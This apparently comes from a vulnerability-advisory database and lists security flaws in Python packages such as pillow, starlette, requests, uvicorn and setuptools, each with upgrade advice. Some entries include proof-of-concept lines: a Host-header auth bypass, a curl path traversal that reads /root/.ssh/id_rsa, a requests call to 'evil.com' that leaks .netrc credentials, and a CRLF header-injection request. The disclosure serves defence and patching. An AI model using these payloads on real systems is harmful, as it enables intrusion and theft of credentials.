Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Infinite loop in trailer handling in PIL/PdfParser.py. An attacker can cause the application to consume excessive CPU by supplying a malicious file that creates a cyclic reference in the trailer's Prev pointer.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Infinite loop in the EPS file parsing process when handling the %%BeginBinary directive. An attacker can cause the application to enter an infinite loop by supplying a crafted EPS file with a negative byte count, resulting in resource exhaustion and denial of service.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Excessive Iteration in the parsing performed by multipart.py. An attacker can degrade performance by sending multipart requests with very large preamble or epilogue sections, causing excessive CPU consumption. The patterns of input that trigger inefficient processing are large numbers of CR or LF bytes before the first boundary, and large amounts of data after the closing boundary.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade python-multipart to version 0.0.26 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in the process that applies exclusion directives from MANIFEST.in due to improper Unicode normalization handling on macOS APFS or HFS+ filesystems. An attacker can cause unintended files to be included in a source distribution by creating filenames that exploit normalization collisions.

Remediation

Upgrade setuptools to version 83.0.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the UploadFile.write method when handling multipart forms containing files larger than the default spool_max_size. An attacker can cause the application to block the main event thread by submitting a multipart form with a large file, preventing the application from accepting new connections.

Remediation

Upgrade starlette to version 0.47.2 or higher.

References

• GitHub Commit
• GitHub Discussion
• Vulnerable Code

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the request.url reconstruction process. An attacker can bypass path-based security checks by supplying a malformed Host header that causes request.url.path to differ from the actual requested path.

Note:

This is only exploitable if the application relies on request.url (or request.url.path) for security-sensitive decisions. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.

PoC

pip install starlette
from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import PlainTextResponse
from starlette.routing import Route

class AuthMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        if request.url.path == "" or request.url.path == "/":
            return await call_next(request)
        return PlainTextResponse("Forbidden\n", status_code=403)

async def root(request):
    return PlainTextResponse("Hello World\n")
async def admin(request):
    return PlainTextResponse("secret=123\n")

routes = [
    Route("/", endpoint=root),
    Route("/admin", endpoint=admin),
]

app = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])

Then, start the app using any of the ASGI servers:

pip install {daphne,hypercorn,uvicorn,granian}
daphne poc:app
hypercorn poc:app
uvicorn poc:app
granian --interface asgi poc:app

Confirm that the Host header is not validated:

curl -i -H 'Host: foo' localhost:8000/admin # 403 Forbidden
curl -i -H 'Host: foo?' localhost:8000/admin # 200 OK

Remediation

Upgrade starlette to version 1.0.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• Vulnerability Advisory
• Nuclei Templates

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Vulnerable Code

Overview

Sphinx is a Python documentation generator.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Remediation

Upgrade Sphinx to version 3.0.4 or higher.

References

• GHSA
• GitHub Commit
• GitHub Commit
• JQuery 3.5.0 Release
• JQuery Upgrade Guide
• PoC
• Related Fix
• Security Blog
• Vulnerable Code
• Exploit DB
• PoC in GitHub

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to HTTP Request Smuggling through the QuerystringParser function. An attacker can bypass upstream validation and inject or override form fields by crafting specially formatted application/x-www-form-urlencoded bodies that exploit differences in field separator parsing.

Note:

This is only exploitable if there is an upstream body-inspecting component (a WAF, API gateway, proxy, etc.) between the attacker and the application, and that intermediary follows the WHATWG standard (treating only & as a separator, not ;).

Remediation

Upgrade python-multipart to version 0.0.30 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the parse_form function when processing a negative Content-Length header. An attacker can cause excessive memory usage by sending a crafted request with a negative Content-Length, resulting in the entire request body being buffered in memory at once.

Note:

This is only exploitable if the application directly calls parse_form with a Content-Length header taken from attacker-controlled input and does not normalize negative values first.

Remediation

Upgrade python-multipart to version 0.0.31 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Interpretation Conflict through the parse_options_header function. An attacker can bypass field name or filename-based access controls, or manipulate file upload destinations by submitting specially crafted multipart/form-data requests that exploit differences in parameter interpretation between upstream components and the backend.

Remediation

Upgrade python-multipart to version 0.0.30 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Sphinx is a Python documentation generator.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) Passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

NOTE: This vulnerability was also assigned CVE-2020-23064.

Details

Remediation

Upgrade Sphinx to version 3.0.4 or higher.

References

• GitHub Commit

• GitHub Commit

• PoC

• Release Notes

• Security Blog

• Updated Code

• Exploit DB

• CISA - Known Exploited Vulnerabilities

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') when dispatching HTTP requests to endpoint attributes via getattr. An attacker can invoke internal methods not intended as HTTP handlers by sending requests with non-standard HTTP methods whose names match internal attribute names, potentially bypassing authorization checks.

Note: This is only exploitable if an HTTPEndpoint subclass is registered through Route(...) without specifying the methods= argument and the subclass defines additional methods matching non-standard HTTP-method token shapes that accept a single request argument and return a response.

Workaround

This vulnerability can be mitigated by registering HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the supported HTTP verbs.

Remediation

Upgrade starlette to version 1.1.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop if __parse_content_stream is executed. This infinite loop blocks the current process and can utilize a single core of the CPU by 100%. It does not affect memory usage.

PoC

from pypdf import PdfReader

reader = PdfReader("MiFO_LFO_FEIS_NOA_Published.3.pdf")
page = reader.pages[0]
page.extract_text()

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for PyPDF2.

References

• GitHub Commit
• GitHub PR
• GitHub Vulnerable PR
• RedHat Bugzilla Bug

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity by crafting a PDF, leading to an unexpectedly long runtime when trying to read large files without xref marker. This quadratic runtime blocks the current process and can utilize a single CPU core by 100%.

Note: Exploiting this vulnerability does not affect memory usage.

Remediation

Upgrade PyPDF2 to version 1.27.9 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Infinite loop when trying to get the content stream of a crafted PDF.

Remediation

Upgrade PyPDF2 to version 1.27.5 or higher.

References

• GitHub Issue
• GitHub PR
• PoC

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Pyup Blog
• Vulnerable Code

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the MultipartParser class, which accepts an unlimited number of fields and files when parsing multipart/form-data. Exploiting this vulnerability is possible by sending too many small form fields with no content or too many empty files, which results in high CPU usage and high memory usage.

Note:

An affected application has to have all the following:

1. python-multipart installed.

2. calls request.form().

Workarounds

Applications that don't install python-multipart or that don't use form fields are safe.

In older versions, it's also possible to instead of calling request.form() call request.stream() and parse the form data in internal code.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade starlette to version 0.25.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to Race Condition in the uvicorn/protocols/http component that leads Quart to hang with uvicorn. This vulnerability may allow an attacker to disrupt the server's response handling process under certain conditions, leading to potential Denial of Service (DoS) or other adverse impacts.

Remediation

Upgrade uvicorn to version 0.12.3 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Excessive Iteration in the incremental mode for PDF processing. An attacker can cause excessive resource consumption and significantly degrade performance by loading a PDF file with a large trailer /Size value.

Remediation

There is no fixed version for PyPDF2.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the FlateDecode image processing when handling images with large size values. An attacker can exhaust system memory by crafting a PDF that references an image with manipulated dimensions, leading to resource exhaustion when the file is processed.

Remediation

There is no fixed version for PyPDF2.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the FlateDecode method when handling streams with a /Predictor value not equal to 1 and large predictor parameters. An attacker can cause excessive memory consumption by crafting a specially formed PDF file.

Remediation

There is no fixed version for PyPDF2.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression in the function load_v2 of inventory.py.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sphinx to version 3.3.0 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in google style docs, due to using an inefficient regex pattern with quantified overlapping adjacency.

PoC

" " * 5000 + "!"

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sphinx to version 3.3.0 or higher.

References

• GitHub Commit
• GitHub Issue
• Vulnerable Code

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to HTTP Response Splitting. Uvicorn's implementation of the HTTP protocol for the httptools parser is vulnerable to HTTP response splitting. CRLF sequences are not escaped in the value of HTTP headers. Attackers can exploit this to add arbitrary headers to HTTP responses, or even return an arbitrary response body, whenever crafted input is used to construct HTTP headers.

PoC

async def app(scope, receive, send):
    assert scope['type'] == 'http'
    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [
            [b'Content-Type', b'text/plain'],
            [b'Referer', scope['path'].encode()],
        ]
    })  
    await send({
        'type': 'http.response.body',
        'body': b'Hello, world!',
    })

uvicorn poc-3:app --port 9999 --http httptools


To exploit this vulnerability, make a GET request with a crafted URL path like so:


curl -v 'http://localhost:9999/foo%0d%0abar:%20baz'

Uvicorn will return an additional HTTP header "bar" with the value "baz":

* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 9999 (#0)
> GET /foo%0d%0abar:%20baz HTTP/1.1
> Host: localhost:9999
> User-Agent: curl/7.58.0
> Accept: */*
>

< HTTP/1.1 200 OK
< date: Sun, 26 Apr 2020 22:38:18 GMT
< server: uvicorn
< content-type: text/plain
< referer: /foo
< bar: baz
< transfer-encoding: chunked
<

Remediation

Upgrade uvicorn to version 0.11.7 or higher.

References

• Uvicorn Repository

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound. An attacker can cause unexpected behavior by supplying a font where each glyph advances by an excessively large amount.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the AdlLexer class in the archetype.py file. A user can cause excessive resource consumption.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

